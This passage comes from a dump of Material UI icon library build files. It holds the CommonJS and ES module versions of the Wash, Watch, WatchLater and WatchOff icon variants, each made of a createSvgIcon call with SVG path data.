1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm3.5-12c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1m0 5.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\"\n}, \"1\")], 'WashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm8.5-14.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm3.5-12c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1m0 5.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\"\n}, \"1\")], 'WashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Watch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27L16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'Watch');"
  },
  {
    "path": "packages/mui-icons-material/lib/Watch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27L16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'Watch');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLater.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4.2 14.2L11 13V7h1.5v5.2l4.5 2.7z\"\n}), 'WatchLater');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLater.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4.2 14.2L11 13V7h1.5v5.2l4.5 2.7z\"\n}), 'WatchLater');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.5-13H11v6l5.2 3.2.8-1.3-4.5-2.7z\"\n}), 'WatchLaterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.5-13H11v6l5.2 3.2.8-1.3-4.5-2.7z\"\n}), 'WatchLaterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m3.55 13.8-4.08-2.51c-.3-.18-.48-.5-.48-.85V7.75c.01-.41.35-.75.76-.75s.75.34.75.75v4.45l3.84 2.31c.36.22.48.69.26 1.05-.22.35-.69.46-1.05.24\"\n}), 'WatchLaterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m3.55 13.8-4.08-2.51c-.3-.18-.48-.5-.48-.85V7.75c.01-.41.35-.75.76-.75s.75.34.75.75v4.45l3.84 2.31c.36.22.48.69.26 1.05-.22.35-.69.46-1.05.24\"\n}), 'WatchLaterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4.2 14.2L11 13V7h1.5v5.2l4.5 2.7z\"\n}), 'WatchLaterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m4.2 14.2L11 13V7h1.5v5.2l4.5 2.7z\"\n}), 'WatchLaterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m4.2 12.2L11 13V7h1.5v5.2l4.5 2.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.5-13H11v6l5.2 3.2.8-1.3-4.5-2.7z\"\n}, \"1\")], 'WatchLaterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchLaterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m4.2 12.2L11 13V7h1.5v5.2l4.5 2.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.5-13H11v6l5.2 3.2.8-1.3-4.5-2.7z\"\n}, \"1\")], 'WatchLaterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7M2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7M2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7m-1.51-3h3.02l.38 1.27c-.55-.16-1.97-.51-3.78 0zM2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM13.51 20h-3.02l-.38-1.27c.55.15 1.97.51 3.78 0zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7m-1.51-3h3.02l.38 1.27c-.55-.16-1.97-.51-3.78 0zM2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM13.51 20h-3.02l-.38-1.27c.55.15 1.97.51 3.78 0zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47l-.93-3.1C15.17 2.58 14.4 2 13.51 2h-3.02c-.89 0-1.66.58-1.92 1.42l-.53 1.79 2.14 2.14C10.75 7.13 11.36 7 12 7M2.1 3.51c-.39.39-.39 1.02 0 1.41l3.75 3.75C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47l.93 3.1c.26.85 1.03 1.43 1.92 1.43h3.02c.88 0 1.66-.58 1.92-1.43l.53-1.78 3.11 3.11c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0M12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47l-.93-3.1C15.17 2.58 14.4 2 13.51 2h-3.02c-.89 0-1.66.58-1.92 1.42l-.53 1.79 2.14 2.14C10.75 7.13 11.36 7 12 7M2.1 3.51c-.39.39-.39 1.02 0 1.41l3.75 3.75C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47l.93 3.1c.26.85 1.03 1.43 1.92 1.43h3.02c.88 0 1.66-.58 1.92-1.43l.53-1.78 3.11 3.11c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0M12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7M2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7M2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}), 'WatchOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.89 5.27 13.51 4h-3.02l-.38 1.27c1.82-.51 3.23-.16 3.78 0m-3.78 13.46.38 1.27h3.02l.38-1.27c-1.82.51-3.23.16-3.78 0\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7m-1.51-3h3.02l.38 1.27c-.55-.16-1.97-.51-3.78 0zM2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM13.51 20h-3.02l-.38-1.27c.55.15 1.97.51 3.78 0zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}, \"1\")], 'WatchOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.89 5.27 13.51 4h-3.02l-.38 1.27c1.82-.51 3.23-.16 3.78 0m-3.78 13.46.38 1.27h3.02l.38-1.27c-1.82.51-3.23.16-3.78 0\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .64-.13 1.25-.35 1.82l1.5 1.5c.54-.99.85-2.12.85-3.32 0-2.22-1.03-4.19-2.64-5.47L15 2H9l-.96 3.21 2.14 2.14C10.75 7.13 11.36 7 12 7m-1.51-3h3.02l.38 1.27c-.55-.16-1.97-.51-3.78 0zM2.81 2.81 1.39 4.22l4.46 4.46C5.31 9.67 5 10.8 5 12c0 2.22 1.03 4.19 2.64 5.47L9 22h6l.96-3.21 3.82 3.82 1.41-1.41zM13.51 20h-3.02l-.38-1.27c.55.15 1.97.51 3.78 0zM12 17c-2.76 0-5-2.24-5-5 0-.64.13-1.25.35-1.82l6.47 6.47c-.57.22-1.18.35-1.82.35\"\n}, \"1\")], 'WatchOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.31 2 .41 2.48C13.87 4.17 12.96 4 12 4c-.95 0-1.87.17-2.71.47L9.7 2zm.41 17.52L14.31 22H9.7l-.41-2.47c.84.3 1.76.47 2.71.47.96 0 1.87-.17 2.72-.48M16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12s-1.19-4.81-3.04-6.27zm-4 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'WatchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.31 2 .41 2.48C13.87 4.17 12.96 4 12 4c-.95 0-1.87.17-2.71.47L9.7 2zm.41 17.52L14.31 22H9.7l-.41-2.47c.84.3 1.76.47 2.71.47.96 0 1.87-.17 2.72-.48M16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12s-1.19-4.81-3.04-6.27zm-4 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'WatchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27l-.68-4.06C16.12.71 15.28 0 14.31 0H9.7c-.98 0-1.82.71-1.98 1.67l-.67 4.06C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27l.67 4.06c.16.96 1 1.67 1.98 1.67h4.61c.98 0 1.81-.71 1.97-1.67l.68-4.06C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'WatchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27l-.68-4.06C16.12.71 15.28 0 14.31 0H9.7c-.98 0-1.82.71-1.98 1.67l-.67 4.06C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27l.67 4.06c.16.96 1 1.67 1.98 1.67h4.61c.98 0 1.81-.71 1.97-1.67l.68-4.06C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'WatchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27L16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'WatchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-2.54-1.19-4.81-3.04-6.27L16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12M6 12c0-3.31 2.69-6 6-6s6 2.69 6 6-2.69 6-6 6-6-2.69-6-6\"\n}), 'WatchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchTwoTone.js",
